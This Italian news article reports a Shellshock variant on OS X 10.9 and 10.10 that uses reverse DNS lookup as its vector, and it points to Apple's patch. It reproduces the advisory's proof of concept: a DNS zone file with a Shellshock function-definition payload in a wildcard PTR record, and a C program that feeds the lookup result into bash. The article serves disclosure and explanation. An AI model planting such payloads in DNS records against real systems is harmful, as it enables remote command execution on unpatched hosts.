OS X 10.9 vulnerabile a Shellshock tramite DNS reverse lookup

OS X 10.9 vulnerabile a Shellshock tramite DNS reverse lookup

Ieri è stato pubblicata una nuova falla informatica, l’ennesima che riguarda ShellShock, a cui i sistemi operativi della Apple sono vulnerabili senza l’applicazione dell’apposita patch che è stata rilasciata (link). Il security advisory, di fatto, descrive un potenziale attacco informatico mediante record DNS, in particolare nella variante reverse DNS, come possibile veicolo di infezione di malware e script malevoli arbitrari (DNS Reverse Lookup as a vector for the Bash vulnerability – CVE-2014-6271 et.al.).

Come sappiamo Shellshock, noto a volte anche come Bashdoor, è un’intera famiglia di bug di sicurezza che sfrutta una caratteristica di molti sistemi Linux e UNIX (anche Mac, quindi, per quanto nelle versioni client relativamente mitigata) che è stata scoperta pubblicamente il 24 settembre di quest’anno, e che interessa molti dispositivi connessi ad internet (server di vario genere, così “l’internet delle cose). Risulta possibile, ad un attaccante, sfruttare alcune caratteristiche del server web attaccato come la cgi-bin oppure DHCP per eseguire, manipolando variabili d’ambiente, comandi arbitrari con gli stessi privilegi dell’utente connesso in quel momento. Quello riportato in questa sede è un nuovo possibile vettore d’attacco, che sfrutta il reverse DNS lookup basandosi sul fatto che quelle informazioni vengano trasmesse alla variabile di ambiente che non viene parsata correttamente dalla shell.

Tutte le versioni di OSX 10.9 e 10.10/R2 sono affette da questo tipo di problema, e la soluzione è quella di installare la patch rilasciata dalla Apple ufficialmente. Altri sistemi operativi come RHEL6, Centos, FreeBSD 7 non presentano invece questo problema poichè vengono sfruttati meccanismi di escape che aggirano il problema lato codice. Per risolvere la falla è necessario filtrare opportunamente il traffico DNS al sito.

Un esempio di attacco è il seguente:

$TTL 10;
$ORIGIN in-addr.arpa.
@ IN SOA ns.boem.wleiden.net dirkx.webweaving.org (
666 ; serial
360 180 3600 1800 ; very short lifespan.
)
IN NS 127.0.0.1
* PTR "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"

che può essere utilizzato con il seguente frammento di codice C:

#include <sys/socket.h>
#include <netdb.h>
#include <assert.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(int argc, char ** argv) {
struct in_addr addr;
struct sockaddr_in sa;
char host[1024];

assert(argc==2);
assert(inet_aton(argv[1],&addr) == 1);

sa.sin_family = AF_INET;
sa.sin_addr = addr;

assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa,
host, sizeof host, NULL, 0, NI_NAMEREQD));

printf("Lookup result: %s\n\n", host);

assert(setenv("REMOTE_HOST",host,1) == 0);
execl("/bin/bash",NULL);
}
Valutazioni utenti

0 / 5 ( 0% )

0 voti